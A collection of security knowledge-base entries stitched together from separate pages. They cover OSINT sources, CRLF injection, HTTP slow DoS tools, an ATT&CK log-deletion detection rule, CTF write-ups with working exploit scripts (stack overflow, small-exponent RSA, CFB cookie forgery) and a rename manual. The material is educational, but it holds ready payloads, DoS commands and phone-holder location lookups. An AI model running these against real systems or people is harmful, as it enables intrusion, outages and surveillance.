# 如何进行情报搜集? ### 如何收集? - 开源情报收集 - 针对IOC,从常见的指标进行分析: - 网络。IP,URL - 主机。文件哈希,动态链接库,注册表 - 邮件 - 使用开源的威胁情报平台 - 自己搭建蜜罐、蜜网,收集攻击数据(IP,Hash,URL等) - 对自己的已有资产进行分析建模 ## 开源情报来源 确定开源情报来源时,我们首先约定,开源情报可以简单分为:战略情报、战役情报和战术情报。 ### 渠道角度 这是从渠道角度进行的分类: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200624054040.png) Fig. 开源情报收集渠道[1] 以及下面的渠道分类:[1] - 体:报纸、杂志、电台、电视节目、基于计算机的信息。 - 网络社区和用户创造的内容:社交站点、视频分享站点、维基百科、博客、通俗分类。 - 公开数据:政府报告、官方数据、预算、人口统计资料、听证会、立法辩论、新闻发布会、演讲、海洋和航空的安全警告、环境影响图片、合同签订。 - 观察和报告:利用业余观察家们的成果,如某些人通过对谷歌地球进行标注、上传某一地区的照片,从而大量借此扩展出了许多有价值的情报信息。 - 专家和学者:会议、研讨会、专业组织、学术论文、专家。 - 地理信息数据:地图、地图集、地名录、港口规划、重力数据、航空数据、导航数据、人类分布数据、环境数据、商业影像、激光雷达、超多光谱数据、机载成像、地理名称、地理特征、城市地形、垂直阻塞的数据(VOD)、界标数据、地理空间聚合、空间数据库、web服务。许多信息都可以利用地理信息系统(GIS)进行整合、分析、聚合的。 ## 互联网资源搜索 ### 身份类 - 身份类信息概述 - 国家信息体系建设介绍 - 政府开放信息资源介绍 - 政府开放信息查询 - 信用信息查询 - 法律裁判及处罚查询 - 职业身份查询 - 其他 ### 手机号 - 号码归属地查询 - 持机人身份查询 - 位置查询 - IMEI查询 - IMSI查询 - 超雪IMSI - the-x - ICCID查询 - ICCID查询 - 果粉查询 - 卡神查询 - 找果网 - MAC查询 - 行踪查询 ### 金融类 TODO ### 图像类 - 图像识别 - 以图搜图 - Google 图片 - [Yandex 图片](https://yandex.com/images/) - 百度识图 - 搜狗图片 - 360识图 - 汇图网 - 淘宝网 - Saucenao - Tineye - 微博图片来源插件 - 拍照识别 - 花伴侣 - 形色识花 - 人脸识别对比 - 图片位置信息查看 - 图片及网页内容检测 - 超高清图像拍照 - 在线视频查看 - 模糊图像处理 - 视频编辑 ### 物品类 ### 搜索类 ### 其他类 ## 工具库 ### 整合 参考:[超级情报收集工具库:开源验证和调查工具及使用方法](https://medium.com/@iyouport/%E8%B6%85%E7%BA%A7%E6%83%85%E6%8A%A5%E6%94%B6%E9%9B%86%E5%B7%A5%E5%85%B7%E5%BA%93-%E5%BC%80%E6%BA%90%E9%AA%8C%E8%AF%81%E5%92%8C%E8%B0%83%E6%9F%A5%E5%B7%A5%E5%85%B7%E5%8F%8A%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95-aef21bbe3b8b) ### OSINT工具 https://github.com/Te-k/harpoon ### Social Engineering https://github.com/laramies/theHarvester ## References [1] 威胁情报专栏:公开资源情报计划——OSINT,[仓鼠](https://www.anquanke.com/member/132863),https://www.anquanke.com/post/id/167564
sec-knowleage
# CRLF Injection ## Introduction A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. ## Where to find It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308). ## How to exploit 1. Basic payload ``` https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/ ``` The response is ``` HTTP/1.1 200 OK Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Set-Cookie: language=en Location: https://evil.com/ ``` 2. Double encode ``` https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/ ``` 3. Bypass unicode ``` https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/ ``` ## References * [@filedescriptor](https://blog.innerht.ml/twitter-crlf-injection/) * [EdOverflow](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md)
sec-knowleage
# 应用层拒绝服务攻击 CC(Chanllenge Collapsar):CC就是DDoS的一种。 通过控制某些主机补丁发送大量数据包给服务器造成服务器资源耗尽,一直到宕机崩溃,常用于攻击页面。 ## 应用层拒绝服务攻击分类 ### Get-Flood 直接对较为消耗资源的URL进行大量的请求,也可以通过多个URL并发,单一URL并发请求,随机URL请求等。 ### SlowLoris 也称为slow headers,攻击者始终构造不完整的http header发送,同时还间隔一定时间再发送数据,导致服务器一直处于等待状态。 ### SlowPost 也称为slow body,攻击的重点在POST数据上,通过将HTTP Header中的Content-Length设置为一个较大的值,同时还间隔一定时间再发送数据,导致服务器一直处于等待状态中。 ### SlowRead 把window窗口设置为一个非常小的值,让服务器始终准备回应数据。 ### HashDos ## 测试工具 ### SlowHTTPTest [github地址](https://github.com/shekyan/slowhttptest) * **Centos7编译安装SlowHTTPTest** ``` yum install gcc.x86_64 gcc-c++.x86_64 openssl-devel.x86_64 -y yum install automake.noarch autoconf.noarch -y git clone https://github.com/shekyan/slowhttptest && cd slowhttptest ./configure autoreconf -ivf make && make install ``` * **SlowHTTPTest使用** ``` -H SlowLoris模式 -B SlowPost模式 -R Range Header模式 -X Slow Read模式 -g 生成统计信息 -o 指定输出文件名 -v 日志等级 -c 建立的连接数,默认为50 -i 在SlowLoris和Slow Post模式中,数据发送的间隔,默认为10 -l 测试维持时间,默认为240 -r 每秒连接个数,默认为50 -s 声明Content-Length header值,默认为4096 -t http verb在请求时使用什么操作,默认为GET -u 指定目标URL -x 在SlowLoris和Slow Post模式中,指定发送的最大数据层航都 -y 在Slow Read模式中指定tcp窗口范围上限,默认为32 -f 指定Content-Type Header,默认为application/x-www-form-urlencoded -m 指定Accept Header,默认为text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 -d 为所有连接指定代理 -e 为探测连接指定代理 -p 指定等待时间来确认攻击已经成功 ``` * **SlowHTTPTest使用案例** ``` # slowloris模式 slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u URL -x 24 -p 3 # slowpost模式 slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t POST -u URL -x 10 -p 3 # slowread模式 slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u URL -p 3 ``` ### slowloris * **slowloris安装** ``` # pip安装 pip3 install slowloris slowloris example.com # git下载 git clone https://github.com/gkbrk/slowloris.git && cd slowloris python3 slowloris.py example.com ``` * **slwoloris使用** ``` -p PORT 指定端口,默认80 -s SOCKETS 套接字数量,默认150 -v 增加日志记录 -ua 对每个请求随机化UA参数 --proxy-host PROXY_HOST SocketS5代理主机,默认127.0.0.1 --porxy-port PROXY_PORT SocketS5代理端口,默认8080 --https 对请求使用https # SocketS5代理支持,需要额外安装PySocks Python模块 pip3 install PySocks ``` * **slwoloris使用案例** ``` python slowloris.py IP # 攻击http 80端口 python slowloris.py -p 443 --https IP # 攻击https 443端口 ``` ## CC攻击防御 * 判断UA字段(不可靠,可以随意构造绕过); * 网页中嵌入JS代码(不可靠,爬虫可以携带浏览器引擎,或者加载JS); * 针对IP+Cookie限制访问频率(不可靠,Cookie可以伪造,IP存在代理池问题); * 关闭Apache最大连接数等,合理配置中间件,缓解DDoS攻击; * 页面中添加验证码; * 合理优化代码,合理使用缓存技术,减少数据库的读写操作;
sec-knowleage
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Error</title> </head> <body> <p>login error</p> </body> </html>
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) > ---- # Reporting *Reporting* is by far the most important element of a penetration test. You will use reports to communicate what you did, how you did it, and, most important, how the organization should fix the vulnerabilities discovered during the penetration test. # Links 1. http://www.pentest-standard.org/index.php/Reporting 2. https://github.com/juliocesarfort/public-pentesting-reports 3. https://www.offensive-security.com/reports/sample-penetration-testing-report.pdf
sec-knowleage
# T1070-005-win-删除网络共享连接 ## 来自ATT&CK的描述 攻击者可能会删除不再使用的共享连接,以清除其运行痕迹。不再需要Windows共享驱动器和SMB Windows Admin Shares连接时,可以将其删除。Net是一个实用程序,可用于通过net use \system\share /delete命令删除网络共享连接。 ## 测试案例 net share删除网络共享 ```yml net share c$ /d ``` ## 检测日志 windows 安全日志或sysmon日志 ## 测试复现 ```yml 测试环境:windows server 2016 C:\Users\Administrator>net share c$ /d c$ 已经删除。 ``` ## 测试留痕 ### windows_security_log ```yml EVENT_ID_1_4688 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1260 新进程名称: C:\Windows\System32\net.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x378 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: net share c$ /d EVENT_ID_2_4688 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1078 新进程名称: C:\Windows\System32\net1.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x1260 创建者进程名称: C:\Windows\System32\net.exe 进程命令行: C:\Windows\system32\net1 share c$ /d EVENT_ID_3_5144 删除了一个网络共享对象。 使用者: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 共享信息: 共享名称: \\*\c$ 共享路径: C:\ ``` ## 检测规则/思路 ### sigma ```yml title: windows下使用net share命令删除网络共享 description: Windows下使用net share删除网络共享,可以通过Windows安全日志进行信息进行发现 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection1: ​ EventID: 4688 #Windows 安全日志 Process_name: 'net.exe' #Application Name Commanline: '/d' selection2: EventID: 5144 #Windows安全日志 ​ condition: selection1 or selection2 level: medium ``` ## 建议 网络共享连接可能取决于网络环境的使用方式。监视net use与通过SMB建立和删除远程共享相关的命令的命令行调用,包括遵循检测Windows Admin Shares的最佳实践。系统之间的SMB流量也可能会被捕获和解码,以寻找相关的网络共享会话和文件传输活动。Windows身份验证日志在确定何时建立经过身份验证的网络共享以及通过哪个帐户建立帐户时也很有用,并且可用于将网络共享活动与其他事件相关联用以调查潜在的恶意活动。 ## 参考推荐 MITRE-ATT&CK-T1070-005 <https://attack.mitre.org/techniques/T1070/005/>
sec-knowleage
# Decrypted Crypto ## Description: > Did you know server-side Wee will supports a variety of crypto operations in the future? How else could Wee ever catch up to other short-named languages like Go or all the Cs? Anyway it's still in testing. If you already want to take it for a spin, try /wee/encryptiontest. ## Solution: This is a "Wee" challenge - see basic explanation [here](./Wee/). The encryption test logic is as follows: ```python @app.route("/wee/encryptiontest", methods=["GET"]) def encryptiontest(): global encrypted if not encrypted: wee = """ # we use weelang to encrypt secrets completely secret record pubkey n: string e: string end var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') fun encrypt(message: string, key: pubkey): string return bigModPow(strToBig(message), key.e, key.n) end fun get_cypher(key: pubkey): string var message = '{}' return encrypt(message, key) end alert(get_cypher(key)) """.format(DECRYPTED) encrypted = runwee(wee) return jsonify({"enc": encrypted}) ``` Accessing it gives us the ciphertext: ```console # curl http://35.207.189.79/wee/encryptiontest {"enc":"650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587\n"} ``` Basically we have a very long `n`, a tiny `e` and a short message. This is the same attack as explained [here](/2018_picoCTF/Safe%20RSA.md): ```python import gmpy2 n = 951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809 e = 3 cipher_str = 650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587 gs = gmpy2.mpz(cipher_str) gm = gmpy2.mpz(n) ge = gmpy2.mpz(e) root, exact = gmpy2.iroot(gs, ge) print format(root, 'x').decode('hex') ``` The result: ```console # python solve.py 35C3_OUR_CRYPTO_IS_AS_LEGIT_AS_MOST_CRYPTO_CURRENCIES ``` The flag: 35C3_OUR_CRYPTO_IS_AS_LEGIT_AS_MOST_CRYPTO_CURRENCIES
sec-knowleage
## IPv6 协议相关的资料 1)IPv6 数据包构造与安全测试框架 - Chiron https://t.co/vdZo7MgqLo Paper: https://t.co/OichK9UTmv 2)为什么保障 IPv6 安全性那么困难: https://www.troopers.de/media/filer_public/42/1a/421a0a30-0a35-486a-b25e-7eea27f18ef7/troopers14-why_ipv6_security_is_so_hard-structural_deficits_of_ipv6_and_their_implications-enno_rey.pdf 3)关于 Cisco 网络设备 IPv6 ACL 策略配置的几篇文章 Part 1: https://t.co/MfSgtq9PRm Part 2: https://t.co/r5mjVeTD52 Part 3: https://t.co/vR70j3qpSl 4)IPv6 网络中 MLD 协议对安全的影响 (Paper) https://t.co/zSFjMAh6pj 5)Windows Server IPv6 安全加固指南,来自 ERNW 2014 年的一篇文档 https://t.co/gujjasrbWb 6)ipv6tools - 用于对启用 IPv6 的网络做健壮性测试的工具 https://t.co/0PlfOaAIJ9 7)Wireshark 中的 IPv6 协议分析 https://insinuator.net/2016/03/troopers-16-wireshark-in-ip-version-6/ https://www.troopers.de/media/filer_public/9c/c5/9cc5e4e1-1f2c-4d0b-9f69-87059eb9e931/ernw_tr16_ipv6_secsummit_ipv6-in-wireshark_jcarrell.pdf 8)IPv6-only WiFi 体验的几点思考 https://t.co/I4FmlkVDcp 9)IPv6 攻击与防御完整指南, 来自 SANS 2012 年的一篇 Paper https://t.co/rCbAL114gv 以及两个相关链接: https://github.com/Teino1978-Corp/Teino1978-Corp-APV6 https://gist.github.com/Teino1978-Corp/c7a855d0c0eaa348273b 10)企业中的 IPv6 安全战略, 来自 Troopers IPv6 安全峰会 https://t.co/06JfHY4WRc 11)MrLooquer - 结合开源情报技术和数据挖掘技术, 创建实时 IPv6 部署情况图 https://www.mrlooquer.com/ 12)异常的 IPv6 分片以及操作系统的响应 https://t.co/235EsVKr2m 13)隐私不是一种选择: 攻击 IPv6 隐私扩展 https://t.co/65tv8FgPYo 14)Juniper 设备之前修复了一个 IPv6 DDoS 漏洞 https://t.co/kOQvN1uur9
sec-knowleage
# buffer overflow 1 Binary Exploitation, 200 points ## Description: > Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; } ``` ## Solution: `vuln` allocates a buffer of size `BUFSIZE` (32) on the stack, then uses `gets` to read into it. If we read the man page about `gets`, we see the following recommendation: > Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Since `gets` is being used, we can override the buffer and take control of the stack, overriding `vuln`'s return address and changing it to `win`'s address. The first step is to calculate the difference between the beginning of the buffer and the return address - this is the length of the "padding" we will need before placing our own return address. We can use pwntools' `cyclic` utility for that: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa root@kali:/media/sf_CTFs/pico/buffer_overflow_1# cyclic 100 | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x6161616c Segmentation fault ``` The program kindly prints out where it tried to jump to: 0x6161616c. We can also find this information using `dmesg`: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# dmesg | grep vuln [ 1416.812797] vuln[1935]: segfault at 6161616c ip 000000006161616c sp 00000000ffba3f40 error 14 in libc-2.27.so[f7d4c000+19000] ``` We return to `cyclic` and request it to calculate the padding length: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# cyclic -l 0x6161616c 44 ``` So we need 44 bytes of padding. Now, we just need the address of `win()`, and we can create our shellcode: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# objdump -t vuln | grep win 080485cb g F .text 00000064 win ``` Putting it all together, we can run the exploit locally: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# python -c "from pwn import *;print('A'*44 + p32(0x080485cb))" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server. ``` This would have given us the flag if we were to run it on the server. However, let's create a full pwntools script in order to retrieve the flag from the server: The script: ```python from pwn import * import argparse import os EXECUTABLE = "vuln" LOCAL_PATH = "./" REMOTE_PATH = "/problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba/" SSH_SERVER = "2018shell3.picoctf.com" def get_process_path(is_ssh = False): if is_ssh or os.path.exists(REMOTE_PATH): return REMOTE_PATH + EXECUTABLE else: return LOCAL_PATH + EXECUTABLE def get_process(ssh_user = None): is_ssh = ssh_user is not None path = get_process_path(is_ssh) params = {"argv": path, "cwd": os.path.dirname(path)} if is_ssh: s = ssh(host=SSH_SERVER, user=ssh_user) p = s.process(**params) else: p = process(**params) return p def send_payload(proc, payload): proc.sendlineafter("Please enter your string:", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") proc = process(get_process_path()) payload = cyclic(100) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.eip) log.info("Overflow offset: {}".format(offset)) return offset parser = argparse.ArgumentParser() parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username") args = parser.parse_args() e = ELF(get_process_path()) log.info("Address of win(): 0x{:02X}".format(e.symbols["win"])) offset = get_overflow_offset() p = get_process(args.ssh_user) payload = fit({offset: e.symbols["win"]}) send_payload(p, payload) print p.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_1# python exploit.py --ssh_user=$pico_ssh_user [*] '/media/sf_CTFs/pico/buffer_overflow_1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Address of win(): 0x80485CB [+] Starting local process './vuln': pid 1120 [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1120) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/buffer_overflow_1/core.1120' Arch: i386-32-little EIP: 0x6161616c ESP: 0xfff81570 Exe: '/media/sf_CTFs/pico/buffer_overflow_1/vuln' (0x8048000) Fault: 0x6161616c [*] Overflow offset: 44 [+] Connecting to 2018shell3.picoctf.com on port 22: Done [*] user@2018shell3.picoctf.com: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.0 ASLR: Enabled [+] Starting remote process '/problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba/vuln' on 2018shell3.picoctf.com: pid 3352115 [+] Receiving all data: Done (101B) [*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 3352115) Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy56a7b196} ``` The flag: picoCTF{addr3ss3s_ar3_3asy56a7b196}
sec-knowleage
## Simple (crypro, 100p, 86 solves) > Become admin! > http://52.69.244.164:51913 > [simple-01018f60e497b8180d6c92237e2b3a67.rb](simple.rb) ### PL [ENG](#eng-version) Możemy wykonać HTTP `GET` oraz `POST` do podanej usługi. `POST` szyfruje JSONa złożonego z podanego loginu oraz hasła 128-bitowym AESem w trybie CFB. `GET` deszyfruje go i sprawdza czy JSON ma pole `'admin': true`. Jeżeli tak, to podaje nam flagę. Klucz AESa jest stały i prywatny, a IV generowany losowo i przypinany do ciphertekstu. Tryb CFB nasz ciphertekst generuje w blokach xorując zaszyfrowany klucz z naszą wiadomością. Używa w tym procesie obecny blok do zaszyfrowania następnego. Oznacza to, że nie możemy zmodyfikować dwóch bloków, które następują po sobie bez sprawienia, że deszyfracja zacznie produkować śmieci. Sposób w jaki tworzony jest ten konkretny JSON sprawia że niemożliwa jest zmiana tylko ostatniego bloku - nie możemy dodać nowego pola modyfikując tylko 16 ostatnich znaków ciągu `{ ... "password":"provided_password","db":"hitcon-ctf"}`. Możemy natomiast zmodyfikować przedostatni, a ostatni całkowicie wyciąć (po prostu przycinając ciphertext). Możemy również pobawić się z pierwszym blokiem oraz IV, ale wybraliśmy tą pierwsza metodę. Oto nasz solver: ```python import requests import urllib2 response = requests.post('http://52.69.244.164:51913/', data={'username': 'aaa', 'password': 'bbbbbbbbbbbbbbbbbbbbbbbbbbbb'}, allow_redirects=False) cookie = urllib2.unquote(response.cookies['auth']) source = 'bbbbbbbbbbbb","db":"hitcon-ctf"}' target = 'bbb","admin":true} ' def xor(x, y): return ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(x, y)) key = xor(cookie[-len(source):], source) payload = cookie[:-len(source)] + xor(key, target)[:-14] response = requests.get('http://52.69.244.164:51913/', cookies={'auth': urllib2.quote(payload)}) print response.content ``` **hitcon{WoW_CFB_m0dE_5o_eAsY}** ### ENG version We can do a HTTP `GET` and `POST` to the provided service. `POST` encrypts a JSON of provided "username" and "password" with a 128-bit AES in CFB mode. `GET` decrypts it and if the JSON has a `'admin': true` field it gives us the flag. Key for the AES is constant and private while IV is randomly generated and prepended to the ciphertext. CFB mode produces ciphertext in blocks by xoring the encrypted key with a plaintext. It also uses part of the current block to encrypt the next. So that means that we can't change two succesive blocks without throwing off the decryption into outputting garbage. The way this particular JSON is constructed makes it rather impossible to change only the last block - we can't add a new field by modifying the last 16 characters of `{ ... "password":"provided_password","db":"hitcon-ctf"}`. We can however, edit the one before last and discard the last block of ciphertext by simple truncating. We could also play with the first one and the IV, but we chose the former method. Here's the solver: ```python import requests import urllib2 response = requests.post('http://52.69.244.164:51913/', data={'username': 'aaa', 'password': 'bbbbbbbbbbbbbbbbbbbbbbbbbbbb'}, allow_redirects=False) cookie = urllib2.unquote(response.cookies['auth']) source = 'bbbbbbbbbbbb","db":"hitcon-ctf"}' target = 'bbb","admin":true} ' def xor(x, y): return ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(x, y)) key = xor(cookie[-len(source):], source) payload = cookie[:-len(source)] + xor(key, target)[:-14] response = requests.get('http://52.69.244.164:51913/', cookies={'auth': urllib2.quote(payload)}) print response.content ``` **hitcon{WoW_CFB_m0dE_5o_eAsY}**
sec-knowleage
rename === 用字符串替换的方式批量改变文件名 ## 补充说明 rename命令存在两个版本用法上有所区别 ```bash C语言版本, 支持通配符 [常用通配符说明] ? 表示一个任意字符 * 表示一个或一串任意字符 Perl版本, 支持正则表达式 [常用正则表达式符号说明] ^ 匹配输入的开始位置 $ 匹配输入的结尾 . 匹配除换行符外的任意字符 + 匹配前一个字符一次或多次 例如,"zo+"可以匹配"zoo",但不匹配"z" [a-z] 表示某个范围内的字符,例如,"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。 [^m-z] 否定的字符区间。与不在指定区间内的字符匹配。 ``` 区分方法: `rename --version` 如果返回结果中包含 **util-linux** , 说明是C语言版本, 反之是Perl版本 ```bash # Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本 $ rename --version /usr/bin/rename using File::Rename version 1.10 # C语言版本 | Centos(7)默认的是C语言版本 $ rename --version rename,来自 util-linux 2.23.2 ``` ### 语法 ```bash # Perl版本 rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ] # C语言版本 rename [选项] 表达式 替换的字符 文件... ``` ### 参数 ```bash # Perl版本 -v, --verbose 详细:成功重命名的文件的打印名称。 -0, --null 从STDIN读取时,请使用\0作为记录分隔符 -n, --nono 不执行任何操作:打印要重命名的文件名,但不重命名。 -f, --force 覆盖:允许覆盖现有文件 --path, --fullpath 重命名完整路径:包括任何目录组件。默认 -d, --filename, --nopath, --nofullpath 不重命名目录:仅重命名路径的文件名部分 -h, --help 帮助:打印提要和选项。 -m, --man 手册: 打印手册页. -V, --version 版本: 显示版本号. -e 表达: 作用于文件名的代码. 可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。 -E 语句:对文件名执行操作的代码,如-e,但终止于 ';'. # C语言版本 -v, --verbose 提供视觉反馈,其中重命名了哪些文件(如果有的话) -V, --version 显示版本信息并退出。 -s, --symlink 在符号链接目标上执行重命名 -h, --help 显示帮助文本并退出 ``` ### 实例 --- #### Perl版本 将1.txt 2.txt重命名为1.log 2.log ```bash $ rename -v "s/txt/log/g" 1.txt 2.txt 1.txt renamed as 1.log 2.txt renamed as 2.log ``` 修改文件的后缀 ```bash rename "s//.html//.php/" * # 把.html 后缀的改成 .php后缀 ``` 批量添加文件后缀 ```bash rename "s/$//.txt/" * # 把所有的文件名都以txt结尾 ``` 批量删除文件名 ```bash rename "s//.txt//" * # 把所有以.txt结尾的文件名的.txt删掉 ``` --- ##### C语言版本 将1.txt 2.txt重命名为1.log 2.log ```bash $ rename -v txt log 1.txt 2.txt `1.txt' -> `1.log' `2.txt' -> `2.log' ``` 文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 ```bash # 把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 rename foo foo0 foo? # foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 rename foo foo0 foo?? # foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 rename foo foo0 foo* # 